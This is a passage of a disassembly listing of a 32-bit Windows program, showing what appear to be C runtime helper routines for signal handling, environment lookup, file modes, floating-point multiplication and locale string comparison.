		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h

loc_42594C:				; CODE XREF: sub_4256C2+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425928
sub_4256C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425955	proc near		; CODE XREF: sub_42255C+226Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_4259BC
		dec	eax
		dec	eax
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259AD
		sub	eax, 3
		jz	short loc_4259AD
		sub	eax, 4
		jz	short loc_4259A0
		sub	eax, 6
		jz	short loc_425993
		dec	eax
		jz	short loc_425986
		or	eax, 0FFFFFFFFh
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_425986:				; CODE XREF: sub_425955+27j
		mov	esi, dword_4DB5AC
		mov	eax, offset dword_4DB5AC
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_425993:				; CODE XREF: sub_425955+24j
		mov	esi, dword_4DB5A8
		mov	eax, offset dword_4DB5A8
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259A0:				; CODE XREF: sub_425955+1Fj
		mov	esi, dword_4DB5B0
		mov	eax, offset dword_4DB5B0
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259AD:				; CODE XREF: sub_425955+10j
					; sub_425955+15j ...
		push	edi
		call	sub_425A82
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_4259C7
; ---------------------------------------------------------------------------

loc_4259BC:				; CODE XREF: sub_425955+Cj
		mov	esi, dword_4DB5A4
		mov	eax, offset dword_4DB5A4

loc_4259C7:				; CODE XREF: sub_425955+3Cj
					; sub_425955+49j ...
		cmp	esi, 1
		jnz	short loc_4259D3
		xor	eax, eax
		jmp	loc_425A7E
; ---------------------------------------------------------------------------

loc_4259D3:				; CODE XREF: sub_425955+75j
		test	esi, esi
		jnz	short loc_4259DE
		push	3
		call	sub_41B7C2

loc_4259DE:				; CODE XREF: sub_425955+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_4259F0
		cmp	edi, 0Bh
		jz	short loc_4259F0
		cmp	edi, 4
		jnz	short loc_425A16

loc_4259F0:				; CODE XREF: sub_425955+8Fj
					; sub_425955+94j
		mov	ebx, dword_4DB380
		and	dword_4DB380, 0
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	edx, dword_43C97C
		mov	dword_43C97C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425A19
; ---------------------------------------------------------------------------

loc_425A16:				; CODE XREF: sub_425955+99j
		mov	ebx, [ebp+arg_0]

loc_425A19:				; CODE XREF: sub_425955+BFj
		cmp	edi, ecx
		jnz	short loc_425A45
		mov	eax, dword_43C970
		mov	ecx, dword_43C974
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425A4C
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43C900h[edx*4]

loc_425A3A:				; CODE XREF: sub_425955+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425A3A
		jmp	short loc_425A4C
; ---------------------------------------------------------------------------

loc_425A45:				; CODE XREF: sub_425955+AAj
					; sub_425955+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425A5A

loc_425A4C:				; CODE XREF: sub_425955+D7j
					; sub_425955+EEj
		push	dword_43C97C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425A68
; ---------------------------------------------------------------------------

loc_425A5A:				; CODE XREF: sub_425955+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425A68
		cmp	edi, 4
		jnz	short loc_425A7B

loc_425A68:				; CODE XREF: sub_425955+103j
					; sub_425955+10Cj
		cmp	edi, 8
		mov	dword_4DB380, ebx
		jnz	short loc_425A7B
		mov	eax, [ebp+arg_0]
		mov	dword_43C97C, eax

loc_425A7B:				; CODE XREF: sub_425955+111j
					; sub_425955+11Cj
		xor	eax, eax
		pop	ebx

loc_425A7E:				; CODE XREF: sub_425955+2Cj
					; sub_425955+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425955	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425A82	proc near		; CODE XREF: sub_425955+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43C978
		cmp	dword_43C8FC, edx
		push	esi
		mov	eax, offset dword_43C8F8
		jz	short loc_425AB0
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43C8F8h[esi*4]

loc_425AA4:				; CODE XREF: sub_425A82+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425AB0
		cmp	[eax+4], edx
		jnz	short loc_425AA4

loc_425AB0:				; CODE XREF: sub_425A82+16j
					; sub_425A82+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43C8F8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425AC4
		cmp	[eax+4], edx
		jz	short locret_425AC6

loc_425AC4:				; CODE XREF: sub_425A82+3Bj
		xor	eax, eax

locret_425AC6:				; CODE XREF: sub_425A82+40j
		retn
sub_425A82	endp


; =============== S U B	R O U T	I N E =======================================



sub_425AC7	proc near		; CODE XREF: sub_4247EC+23p

arg_0		= dword	ptr  4

		cmp	dword_4DC950, 0
		push	ebx
		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		jz	short loc_425B3E
		test	esi, esi
		jnz	short loc_425AF8
		cmp	dword_4DB2D8, esi
		jz	short loc_425B3E
		call	sub_425E95
		test	eax, eax
		jnz	short loc_425B3E
		mov	esi, dword_4DB2D0
		test	esi, esi
		jz	short loc_425B3E

loc_425AF8:				; CODE XREF: sub_425AC7+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_425B3E
		push	ebx
		call	sub_41AFE0
		pop	ecx
		mov	edi, eax

loc_425B09:				; CODE XREF: sub_425AC7+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_425B3E
		push	eax
		call	sub_41AFE0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_425B31
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_425B31
		push	edi
		push	ebx
		push	eax
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425B36

loc_425B31:				; CODE XREF: sub_425AC7+51j
					; sub_425AC7+59j
		add	esi, 4
		jmp	short loc_425B09
; ---------------------------------------------------------------------------

loc_425B36:				; CODE XREF: sub_425AC7+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_425B40
; ---------------------------------------------------------------------------

loc_425B3E:				; CODE XREF: sub_425AC7+10j
					; sub_425AC7+1Cj ...
		xor	eax, eax

loc_425B40:				; CODE XREF: sub_425AC7+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_425AC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_425B44	proc near		; CODE XREF: sub_424F0A+8Bp
					; sub_424F0A+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC700
		jnb	short loc_425BAB
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC600[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425BAB
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425B84
		and	cl, 7Fh
		jmp	short loc_425B91
; ---------------------------------------------------------------------------

loc_425B84:				; CODE XREF: sub_425B44+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425B9F
		or	cl, 80h

loc_425B91:				; CODE XREF: sub_425B44+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_425B9F:				; CODE XREF: sub_425B44+48j
		mov	dword_4DB2A8, 16h
		jmp	short loc_425BB5
; ---------------------------------------------------------------------------

loc_425BAB:				; CODE XREF: sub_425B44+Bj
					; sub_425B44+27j
		mov	dword_4DB2A8, 9

loc_425BB5:				; CODE XREF: sub_425B44+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BBA	proc near		; CODE XREF: sub_4256C2+165p
					; sub_425DDA+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425DBA
		cmp	cx, 7FFFh
		jnb	loc_425DBA
		cmp	dx, 0BFFDh
		ja	loc_425DBA
		cmp	dx, 3FBFh
		ja	short loc_425C23
		xor	eax, eax
		jmp	short loc_425C5D
; ---------------------------------------------------------------------------

loc_425C23:				; CODE XREF: sub_425BBA+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425C45
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425C45
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425C47
		cmp	[esi], eax
		jnz	short loc_425C47
		jmp	loc_425DB4
; ---------------------------------------------------------------------------

loc_425C45:				; CODE XREF: sub_425BBA+71j
					; sub_425BBA+79j
		xor	eax, eax

loc_425C47:				; CODE XREF: sub_425BBA+80j
					; sub_425BBA+84j
		cmp	cx, ax
		jnz	short loc_425C6A
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425C6A
		cmp	[ebx+4], eax
		jnz	short loc_425C6A
		cmp	[ebx], eax
		jnz	short loc_425C6A

loc_425C5D:				; CODE XREF: sub_425BBA+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_425DD5
; ---------------------------------------------------------------------------

loc_425C6A:				; CODE XREF: sub_425BBA+90j
					; sub_425BBA+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5

loc_425C7A:				; CODE XREF: sub_425BBA+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425CCE
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax

loc_425C96:				; CODE XREF: sub_425BBA+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425CC1
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]

loc_425CC1:				; CODE XREF: sub_425BBA+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425C96

loc_425CCE:				; CODE XREF: sub_425BBA+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425C7A
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425D11

loc_425CEC:				; CODE XREF: sub_425BBA+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425D0A
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250CF
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425CEC

loc_425D0A:				; CODE XREF: sub_425BBA+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425D4A

loc_425D11:				; CODE XREF: sub_425BBA+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425D4A
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax

loc_425D2A:				; CODE XREF: sub_425BBA+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425D33
		inc	[ebp+var_14]

loc_425D33:				; CODE XREF: sub_425BBA+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4250FD
		dec	ebx
		pop	ecx
		jnz	short loc_425D2A
		cmp	[ebp+var_14], 0
		jz	short loc_425D4A
		or	byte ptr [ebp+var_24], 1

loc_425D4A:				; CODE XREF: sub_425BBA+155j
					; sub_425BBA+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425D61
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425D96

loc_425D61:				; CODE XREF: sub_425BBA+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425D93
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425D8E
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425D88
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D88:				; CODE XREF: sub_425BBA+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D8E:				; CODE XREF: sub_425BBA+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425D96
; ---------------------------------------------------------------------------

loc_425D93:				; CODE XREF: sub_425BBA+1ABj
		inc	[ebp+var_24+2]

loc_425D96:				; CODE XREF: sub_425BBA+1A5j
					; sub_425BBA+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425DBA
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx

loc_425DB4:				; CODE XREF: sub_425BBA+86j
		mov	[esi+0Ah], ax
		jmp	short loc_425DD5
; ---------------------------------------------------------------------------

loc_425DBA:				; CODE XREF: sub_425BBA+42j
					; sub_425BBA+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi

loc_425DD5:				; CODE XREF: sub_425BBA+ABj
					; sub_425BBA+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425BBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DDA	proc near		; CODE XREF: sub_4251F1+440p
					; sub_4256C2+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43CDF8
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		jge	short loc_425E02
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43CF58
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h

loc_425E02:				; CODE XREF: sub_425DDA+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_425E0D
		mov	eax, [ebp+arg_0]
		mov	[eax], cx

loc_425E0D:				; CODE XREF: sub_425DDA+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_425E53
		push	esi
		push	edi

loc_425E14:				; CODE XREF: sub_425DDA+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_425E4C
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_425E3F
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]

loc_425E3F:				; CODE XREF: sub_425DDA+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425BBA
		pop	ecx
		pop	ecx
		xor	ecx, ecx

loc_425E4C:				; CODE XREF: sub_425DDA+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_425E14
		pop	edi
		pop	esi

loc_425E53:				; CODE XREF: sub_425DDA+14j
					; sub_425DDA+36j
		pop	ebx
		leave
		retn
sub_425DDA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E56	proc near		; CODE XREF: sub_425AC7+5Ep
					; sub_426332+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_425E63
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E63:				; CODE XREF: sub_425E56+7j
		push	dword_4DC704
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_4DC924
		call	sub_425F03
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_425E90
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_425E90:				; CODE XREF: sub_425E56+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_425E56	endp


; =============== S U B	R O U T	I N E =======================================



sub_425E95	proc near		; CODE XREF: sub_425AC7+1Ep
					; sub_4261AB+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4DB2D8
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_425EF6
		mov	ebx, dword_42717C

loc_425EAE:				; CODE XREF: sub_425E95+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_425EFE
		push	ebp
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_425EFE
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_425EFE
		push	edi
		push	[esp+18h+var_4]
		call	sub_4261AB
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_425EAE

loc_425EF6:				; CODE XREF: sub_425E95+11j
		xor	eax, eax

loc_425EF8:				; CODE XREF: sub_425E95+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_425EFE:				; CODE XREF: sub_425E95+29j
					; sub_425E95+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_425EF8
sub_425E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F03	proc near		; CODE XREF: sub_425E56+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427CF0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_4DB5B8, ebx
		push	1
		pop	edi
		jnz	short loc_425F76
		push	edi
		mov	eax, offset dword_427940
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 25F0000h
		test	eax, eax
		jz	short loc_425F53
		mov	dword_4DB5B8, edi
		jmp	short loc_425F76
; ---------------------------------------------------------------------------

loc_425F53:				; CODE XREF: sub_425F03+46j
		push	edi
		mov	eax, offset dword_4CAE5C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	near ptr 25F0646h
		nop
		test	eax, eax
		jz	loc_42616C
		mov	dword_4DB5B8, 2

loc_425F76:				; CODE XREF: sub_425F03+31j
					; sub_425F03+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_425F8D
		push	esi
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi

loc_425F8D:				; CODE XREF: sub_425F03+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_425FA2
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax

loc_425FA2:				; CODE XREF: sub_425F03+8Dj
		mov	eax, dword_4DB5B8
		cmp	eax, 2
		jnz	short loc_425FC7
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0646h
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FC7:				; CODE XREF: sub_425F03+A7j
		cmp	eax, edi
		jnz	loc_42616C
		cmp	[ebp+arg_18], ebx
		jnz	short loc_425FDC
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_425FDC:				; CODE XREF: sub_425F03+CFj
		cmp	esi, ebx
		jz	short loc_425FE9
		cmp	[ebp+arg_14], ebx
		jnz	loc_426081

loc_425FE9:				; CODE XREF: sub_425F03+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_425FF6

loc_425FEE:				; CODE XREF: sub_425F03+13Cj
					; sub_425F03+16Dj
		push	2

loc_425FF0:				; CODE XREF: sub_425F03+146j
		pop	eax
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_425FF6:				; CODE XREF: sub_425F03+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_426002

loc_425FFB:				; CODE XREF: sub_425F03+151j
					; sub_425F03+159j ...
		mov	eax, edi
		jmp	loc_42616E
; ---------------------------------------------------------------------------

loc_426002:				; CODE XREF: sub_425F03+F6j
		cmp	esi, edi
		jg	short loc_426047
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jz	loc_42616C
		cmp	esi, ebx
		jle	short loc_42604B
		cmp	[ebp+var_3C], 2
		jb	short loc_426047
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_426047

loc_42602D:				; CODE XREF: sub_425F03+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_426047
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426041
		cmp	cl, dl
		jbe	short loc_425FEE

loc_426041:				; CODE XREF: sub_425F03+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42602D

loc_426047:				; CODE XREF: sub_425F03+101j
					; sub_425F03+120j ...
		push	3
		jmp	short loc_425FF0
; ---------------------------------------------------------------------------

loc_42604B:				; CODE XREF: sub_425F03+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_426081
		cmp	[ebp+var_3C], 2
		jb	short loc_425FFB
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_425FFB

loc_42605E:				; CODE XREF: sub_425F03+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_425FFB
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_426076
		cmp	cl, dl
		jbe	loc_425FEE

loc_426076:				; CODE XREF: sub_425F03+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_42605E
		jmp	loc_425FFB
; ---------------------------------------------------------------------------

loc_426081:				; CODE XREF: sub_425F03+E0j
					; sub_425F03+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_42616C
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4260D0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi

loc_4260D0:				; CODE XREF: sub_425F03+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_42616C
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_427180
		call	esi
		test	eax, eax
		jz	short loc_42616C
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_42616C
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42613B
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]

loc_42613B:				; CODE XREF: sub_425F03+224j
		cmp	edi, ebx
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2800000h
		test	eax, eax
		jz	short loc_42616C
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0000h
		jmp	short loc_42616E
; ---------------------------------------------------------------------------

loc_42616C:				; CODE XREF: sub_425F03+63j
					; sub_425F03+C6j ...
		xor	eax, eax

loc_42616E:				; CODE XREF: sub_425F03+BFj
					; sub_425F03+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425F03	endp


; =============== S U B	R O U T	I N E =======================================



sub_426180	proc near		; CODE XREF: sub_422ACA+81p
					; sub_425F03+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_42619D

loc_426190:				; CODE XREF: sub_426180+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_42619D
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_426190

loc_42619D:				; CODE XREF: sub_426180+Ej
					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
